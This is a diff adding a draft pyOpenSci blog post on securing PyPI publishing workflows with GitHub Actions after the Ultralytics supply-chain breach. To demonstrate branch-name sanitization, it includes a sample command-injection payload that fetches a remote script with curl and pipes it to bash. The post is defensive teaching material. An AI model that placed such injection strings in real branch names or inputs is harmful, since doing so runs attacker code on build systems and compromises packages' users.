|
| 1 | +--- |
| 2 | +layout: single |
| 3 | +title: "Staying Secure: Best Practices for Publishing Python Packages to PyPI" |
| 4 | +excerpt: "blah" |
| 5 | +author: "Leah Wasser" |
| 6 | +permalink: /blog/python-packaging-security-publish-pypi.html |
| 7 | +header: |
| 8 | + overlay_image: images/headers/pyopensci-inessa.png |
| 9 | + overlay_filter: rgba(20, 13, 36, 0.3) |
| 10 | +categories: |
| 11 | + - blog-post |
| 12 | + - community |
| 13 | +classes: wide |
| 14 | +toc: true |
| 15 | +comments: true |
| 16 | +last_modified: 2024-12-13 |
| 17 | +--- |
| 18 | + |
| 19 | + |
| 20 | + |
| 21 | + |
| 22 | + |
| 23 | +## Is your PyPI publication workflow secure? |
| 24 | + |
| 25 | +The recent Python package breach [involving Ultralytics](https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection) has spotlighted the importance of securing your Python package PyPI publishing workflows. The Ultralytics breach was a supply chain attack where malicious actors exploited a GitHub workflow to inject harmful code into a Python package, enabling them to hijack users’ machines for Bitcoin mining. What this means in English: |
| 26 | + |
| 27 | +> The Ultralytics breach happened when hackers tricked a Python package into running bad code, letting them use other people’s computers to mine Bitcoin without permission. |
| 28 | +
|
| 29 | +Yikes! |
| 30 | + |
| 31 | +todo: just say no to bitcoin mining graphic |
| 32 | + |
| 33 | + |
| 34 | +As open source maintainers, it’s unsettling to consider that our package users could become vulnerable to breaches like this. |
| 35 | + |
| 36 | + |
| 37 | +However, there’s a silver lining. In this case, the incredible PyPI security team had already addressed most of the issues that led to the Ultralytics breach. This incident highlights a gap in understanding of Python packaging security best practices. |
| 38 | + |
| 39 | + |
| 40 | +{% include pyos-blockquote.html quote="Because the Ultralytics project was using Trusted Publishing and the PyPA’s publishing GitHub Action: PyPI staff, volunteers, and security researchers were able to dig into how maliciously injected software was able to make its way into the package." author="Seth Larson, PSF Security Expert" class="highlight magenta" %} |
| 41 | + |
| 42 | + |
| 43 | +This makes sense--we love open source but can't be experts in everything. |
| 44 | + |
| 45 | +## Takeaways |
| 46 | + |
| 47 | +The Ultralytics breach is a wake-up call for all maintainers: secure your workflows now to protect your users and the Python ecosystem. Start with these key actions: |
| 48 | + |
| 49 | +### 🔐 Secure your workflows 🔐 |
| 50 | +- 🚫 Avoid risky events like `pull_request_target` and adopt release-based workflows. |
| 51 | +- ♻️ Don’t cache dependencies in your publish workflows to prevent tampering. |
| 52 | +- If you reference branches that others may use in a pull request, clean or sanitize branch names in your workflow. |
| 53 | + |
| 54 | +### **Lock down GitHub repo access** |
| 55 | +- 🔒 Restrict repository access to essential maintainers only. |
| 56 | +- ✅ Add automated checks to ensure releases are authorized and secure. |
| 57 | + |
| 58 | +### **Strengthen PyPI security** |
| 59 | +- 🔑 Set up Trusted Publisher for tokenless authentication with PyPI. |
| 60 | +- 📱 Enable 2FA for your PyPI account and store recovery codes securely. |
| 61 | + |
| 62 | +Taking these steps will significantly reduce risks to your packages, contributors, and the broader Python ecosystem. Don’t wait—start securing your workflows today. |
| 63 | + |
| 64 | +### **What Happened in the Ultralytics Breach?** |
| 65 | + |
| 66 | +The Ultralytics incident was a **supply chain attack**—a type of attack where sneaky coders compromise the tools or processes used to create or distribute software. In this case, the bad actors/hackers wanted to use the user's machines to mine Bitcoin. This was a hack with the goal of using other people's compute for illegal profit! |
| 67 | + |
| 68 | +In this case: |
| 69 | + |
| 70 | +- An attacker exploited a GitHub action's trigger (`pull_request_target`) to inject malicious dependencies into the project. |
| 71 | +- This code was then published to PyPI |
| 72 | +- When a user downloaded and installed the package, their local machine was compromised. |
| 73 | + |
| 74 | +**Yikes!** |
| 75 | + |
| 76 | +TODO: image meme of someone's head exploding |
| 77 | + |
| 78 | +The root cause of the breach was actually: |
| 79 | + |
| 80 | +* A GitHub action workflow configuration that granted publish permissions to pull requests, allowing the attacker to execute unauthorized actions. |
| 81 | +* A leak of the repositories' PyPI token (likely through GitHub secrets). |
| 82 | +* A user (or bot?) gained direct access to the repo itself to push changes to the build that had previously provided some level of security around who could kick off a build that was published to PyPI. |
| 83 | + |
| 84 | +If you want more details about what happened, [you should check out Seth Larson's PyPI blog post on the event](https://blog.pypi.org/posts/2024-12-11-ultralytics-attack-analysis/), Seth is the resident security expert for the PSF and Python. |
| 85 | + |
| 86 | + |
| 87 | +## A call to action if you are publishing to PyPI using GitHub actions |
| 88 | + |
| 89 | +What's important for us is that this event highlights the need for our ecosystem to follow and understand secure PyPI publishing practices and carefully monitor workflows. And the good news here is that if you are already publishing to PyPI using a GitHub action, there are things you can do RIGHT NOW to ensure your build is more secure. |
| 90 | + |
| 91 | +For this post, we will use [this workflow that pyOpenSci has setup](https://github.com/pyOpenSci/pyosMeta/blob/main/.github/workflows/publish-pypi.yml) that was reviewed and developed by both a PyPI maintainer and also several core pyOpenSci community members that have significant knowledge about best practices in publishing to PyPI. |
| 92 | + |
| 93 | +Below, are actionable steps you can take to enhance security when publishing Python packages to PyPI using GitHub actions. |
| 94 | + |
| 95 | + |
| 96 | +## **1. Avoid `pull_request_target` and consider release-based workflows** |
| 97 | + |
| 98 | +The [`pull_request_target`](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) event in GitHub Actions that Ultralytics used, allows workflows to run with elevated permissions on the base branch, even when triggered by changes from a fork. Thus, when used as a trigger to push a release to PyPI, your workflow becomes vulnerable. |
| 99 | + |
| 100 | +Instead, consider adopting a **release-based workflow**: |
| 101 | + |
| 102 | +- Trigger publication workflows only on versioned releases. |
| 103 | +- Ensure workflows related to publishing are explicitly scoped to `release` events or tagged commits. |
| 104 | + |
| 105 | +Notice in our workflow below that we use a `release` trigger to avoid these risks. While we also have a `push` trigger, it never triggers a publication to PyPI. |
| 106 | + |
| 107 | + |
| 108 | +```yaml |
| 109 | +name: Publish to PyPI |
| 110 | +on: |
| 111 | + # By using release - only people with admin access to make releases to our repo can trigger the push to PyPI |
| 112 | + release: |
| 113 | + types: [published] |
| 114 | + push: |
| 115 | + branches: |
| 116 | + - main |
| 117 | +``` |
| 118 | +
|
| 119 | +In the example above, the push trigger is only used to test that the package distribution files can be built. To ensure that a package is only ever published on a release, we include a conditional in the publish-to-PyPI step: |
| 120 | +
|
| 121 | +```yaml |
| 122 | + - name: Publish package to PyPI |
| 123 | + # Only publish to real PyPI on release |
| 124 | + if: github.event_name == 'release' |
| 125 | +``` |
| 126 | +
|
| 127 | +This approach ensures that the publishing step is tightly controlled, reducing the risk of malicious activity in your workflow. |
| 128 | +
|
| 129 | +## 2. Don’t cache package dependencies in your publish step |
| 130 | +
|
| 131 | +Caching dependencies involves storing them to be reused in future workflow runs. This approach saves time, as GitHub doesn’t need to redownload all dependencies each time the workflow runs. |
| 132 | +
|
| 133 | +TODO: create graphic about reusing dependencies |
| 134 | +
|
| 135 | +However, caching dependencies can allow attackers to manipulate cached artifacts, such as dependencies. If this happens, the workflow may pull in compromised versions from the cache during the next run. |
| 136 | +
|
| 137 | +**Takeaway:** Don’t cache dependencies in your Python package publishing workflow. Always download fresh dependencies to ensure you’re using the latest secure versions of any packages your project depends on. |
| 138 | +
|
| 139 | +Below is an example of a build that caches dependencies. |
| 140 | +
|
| 141 | +```yaml |
| 142 | +name: Build and Test |
| 143 | + |
| 144 | +on: |
| 145 | + push: |
| 146 | + branches: |
| 147 | + - main |
| 148 | + pull_request: |
| 149 | + |
| 150 | +jobs: |
| 151 | + build: |
| 152 | + runs-on: ubuntu-latest |
| 153 | + |
| 154 | + steps: |
| 155 | + # Step 1: Check out the repository |
| 156 | + - name: Check out repository |
| 157 | + uses: actions/checkout@v3 |
| 158 | + |
| 159 | + # Step 2: Set up Python |
| 160 | + - name: Set up Python |
| 161 | + uses: actions/setup-python@v4 |
| 162 | + with: |
| 163 | + python-version: '3.9' |
| 164 | + |
| 165 | + # Step 3: Cache dependencies |
| 166 | + - name: Cache dependencies |
| 167 | + uses: actions/cache@v3 |
| 168 | + with: |
| 169 | + path: ~/.cache/pip |
| 170 | + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} |
| 171 | + restore-keys: | |
| 172 | + ${{ runner.os }}-pip- |
| 173 | +
|
| 174 | + # Step 4: Install dependencies |
| 175 | + - name: Install dependencies |
| 176 | + run: pip install -r requirements.txt |
| 177 | + |
| 178 | + # Step 5: Publish to PyPI |
| 179 | + ... |
| 180 | +``` |
| 181 | + |
| 182 | + |
| 183 | +## 4. Use Trusted Publisher for PyPI |
| 184 | + |
| 185 | +If you only [publish locally to PyPI using the command line](https://www.pyopensci.org/python-package-guide/tutorials/publish-pypi.html), you need to use a PyPI token. However, if you’re using GitHub Actions to automate your publishing process, setting up **Trusted Publisher** is a more secure option. |
| 186 | + |
| 187 | +A Trusted Publisher setup creates a secure "pipeline" between PyPI and your GitHub repository because: |
| 188 | +- PyPI is allowed to authenticate your builds directly, so no additional configuration is required. |
| 189 | +- It restricts publishing to specific workflows and environments defined in your repository. |
| 190 | + |
| 191 | +This setup eliminates the need to store sensitive tokens as GitHub secrets, significantly reducing the risk of token theft or unauthorized publication. |
| 192 | + |
| 193 | +### How to get started |
| 194 | + |
| 195 | +[PyPI provides a great guide to getting started with Trusted Publisher](https://docs.pypi.org/trusted-publishers/adding-a-publisher/). |
| 196 | + |
| 197 | +The basic steps associated with Trusted Publisher are: |
| 198 | +1. Go to your PyPI account and add a trusted publisher workflow to your account. |
| 199 | +2. Fill out a form that looks like the one below. Notice that it asks for your workflow name, (optional) environment, and package name. |
| 200 | +3. Update your GitHub action workflow to reference the Trusted Publisher configuration. |
| 201 | + |
| 202 | +<figure> |
| 203 | + <picture> |
| 204 | + <source srcset="/images/python-packaging/trusted-publisher-form.webp" type="image/webp"> |
| 205 | + <img src="trusted-publisher-form.webp" alt="PyPI Trusted Publisher form example showing settings for linking a GitHub repository with PyPI for secure publishing." loading="lazy"> |
| 206 | + </picture> |
| 207 | + <figcaption> |
| 208 | + Example of the PyPI Trusted Publisher form, used to securely link a GitHub repository with PyPI for publishing Python packages. Trusted Publisher reduces the risk of token theft and improves overall security. |
| 209 | + </figcaption> |
| 210 | +</figure> |
| 211 | + |
| 212 | +You can see how to set up GitHub Actions securely in our own [PyPI publishing GitHub workflow](https://github.com/pyOpenSci/pyosMeta/blob/main/.github/workflows/publish-pypi.yml), which follows the Trusted Publisher approach. |
| 213 | + |
| 214 | +**Note:** Trusted Publisher workflows are currently only available for GitHub. Support for GitLab may be coming in the future—stay tuned! |
| 215 | +{: .notice } |
| 216 | + |
| 217 | +## **5. Create a Dedicated Environment for Publish Actions** |
| 218 | + |
| 219 | +Use isolated environments in combination with Trusted Publisher in your GitHub workflow to publish to PyPI. |
| 220 | +Isolated environments ensure that your publishing process remains secure even if other parts of your CI pipeline are compromised. |
| 221 | + |
| 222 | +If you look at the pyometra workflow, notice that we have an [environment called `pypi`](https://github.com/pyOpenSci/pyosMeta/blob/main/.github/workflows/publish-pypi.yml#L57) that is used for trusted publishing. By setting this up, we have created a direct pipeline between this action and PyPI via the pypi environment and the trusted publisher setup which refers to the workflow file's name. |
| 223 | + |
| 224 | +```yaml |
| 225 | + publish: |
| 226 | + name: >- |
| 227 | + Publish Python 🐍 distribution 📦 to PyPI |
| 228 | + if: github.repository_owner == 'pyopensci' |
| 229 | + needs: |
| 230 | + - build |
| 231 | + runs-on: ubuntu-latest |
| 232 | + environment: |
| 233 | + name: pypi |
| 234 | + url: https://pypi.org/p/pyosmeta |
| 235 | +``` |
| 236 | +
|
| 237 | +## Sanitize a branch name in your workflow, before calling it! |
| 238 | +
|
| 239 | +One of the critical issues in the Ultralytics breach was that attackers crafted a [**malicious branch name containing a shell script**](https://github.com/ultralytics/ultralytics/pull/18020) 🤯. This script executed within the GitHub Action workflow because the branch name was directly referenced using `github.ref`. |
| 240 | + |
| 241 | +When `github.ref` is used without sanitization, malicious content embedded in branch names can be executed. This is known as a **template injection**: |
| 242 | + |
| 243 | +{% include pyos-blockquote.html quote="...is a classic GitHub Actions template injection: the expansion of `github.head_ref || github.ref` is injected directly into the shell’s context, with no quoting or interpolation.." author="https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection" class="highlight magenta" %} |
| 244 | + |
| 245 | +Because the branch name wasn’t sanitized, it was treated as a shell command and executed with full permissions. Yikes! |
| 246 | + |
| 247 | + |
| 248 | +### Problem: a GitHub action that calls 'ref' to the workflow that could be manipulated |
| 249 | + |
| 250 | +Below is an example of a potentially vulnerable packaging workflow. If the branch name contains malicious content, this workflow could execute harmful commands: |
| 251 | + |
| 252 | +```yaml |
| 253 | +jobs: |
| 254 | + example-job: |
| 255 | + runs-on: ubuntu-latest |
| 256 | + steps: |
| 257 | + - name: Run a script |
| 258 | + run: | |
| 259 | + echo "Running script for branch: $GITHUB_REF" |
| 260 | +``` |
| 261 | + |
| 262 | +### Solution: Sanitize the Branch Name |
| 263 | + |
| 264 | +To fix this, sanitize or clean the branch name before using it in your workflows. A small Bash cleanup step removes unexpected or unsafe characters. |
| 265 | + |
| 266 | +``` |
| 267 | +jobs: |
| 268 | + example-job: |
| 269 | + runs-on: ubuntu-latest |
| 270 | + steps: |
| 271 | + - name: Sanitize branch name |
| 272 | + run: | |
| 273 | + SAFE_BRANCH=$(echo $GITHUB_REF | sed 's/[^a-zA-Z0-9_\-\/]//g') |
| 274 | + echo "Sanitized branch name: $SAFE_BRANCH" |
| 275 | + echo "Running script for branch: $SAFE_BRANCH" |
| 276 | +``` |
| 277 | +
|
| 278 | +<div class="notice" markdown="1"> |
| 279 | +How cleaning the branch name works: |
| 280 | +
|
| 281 | +1. echo $GITHUB_REF: Outputs the branch name. |
| 282 | +2. sed 's/[^a-zA-Z0-9_\-\/]//g': Removes any characters that are not letters, numbers, dashes, underscores, or slashes, ensuring the branch name is safe. |
| 283 | +
|
| 284 | +Try It: |
| 285 | +
|
| 286 | +Test how sanitization works by running this command in your shell: |
| 287 | +the branch name: $({curl,-sSfL,raw.githubusercontent.com/test/test/123456d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/dummyfile.sh} | bash) |
| 288 | +
|
| 289 | +
|
| 290 | +```bash |
| 291 | +# Input string |
| 292 | +input='$({curl,-sSfL,raw.githubusercontent.com/test/test/123456d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/dummyfile.sh} | bash)' |
| 293 | +
|
| 294 | +# Sanitization step |
| 295 | +sanitized=$(echo "$input" | sed 's/[\$\{\}\|\(\)]//g') |
| 296 | +
|
| 297 | +# Output the sanitized string |
| 298 | +echo "Original: $input" |
| 299 | +echo "Sanitized: $sanitized" |
| 300 | +``` |
| 301 | + |
| 302 | +This strips out any characters that can be used to call shell commands. |
| 303 | + |
| 304 | +</div> |
| 305 | + |
| 306 | +The good news here is that if you use a release-based workflow as discussed earlier, then you don't have to worry about branch names. And yes you can always make a release from a different branch! |
| 307 | + |
| 308 | +Restricting publish workflows to tagged releases significantly reduces the risk of such attacks. |
| 309 | + |
| 310 | +### Delete Old Tokens |
| 311 | + |
| 312 | +If you are using a trusted publisher workflow but have previously created PyPI API tokens for your package to use in GitHub Actions, it’s time to clean house: |
| 313 | + |
| 314 | +- Identify and revoke/delete any unused or old tokens in your PyPI account!! |
| 315 | +- Do the same for your GitHub secrets! |
| 316 | +- Migrate to Trusted Publisher workflows to avoid using tokens entirely (if you can). |
| 317 | + |
| 318 | +## GitHub & PyPI security tips |
| 319 | + |
| 320 | +The above tips are focused on your GitHub workflows. However, you can also consider locking down your accounts too! |
| 321 | + |
| 322 | +* Make sure you have 2FA (2-factor authentication) setup for both PyPI and GitHub. This is common these days for financial and even social media accounts. Set things up for your tech and open source accounts too! |
| 323 | + |
| 324 | +Important: Store recovery codes securely (e.g., a password manager). |
| 325 | + |
| 326 | +* Be careful about who can gain direct write access to your project's repository. Only a specific, trusted subset of maintainers should be able to trigger a publish-to-PyPI workflow. Most contributors and maintainers don’t need direct write access to your repository; limiting access reduces security risks. |
| 327 | + |
| 328 | + |
| 329 | +## **Learn More** |
| 330 | + |
| 331 | +pyOpenSci follows best practices for PyPI publishing using our custom GitHub Actions workflow. Check out our tutorial on Python packaging here: |
| 332 | +👉 [pyOpenSci Packaging Tutorial](https://www.pyopensci.org/python-package-guide/package-structure-code/python-package-structure.html) |
| 333 | +👉 Join our discourse here |
0 commit comments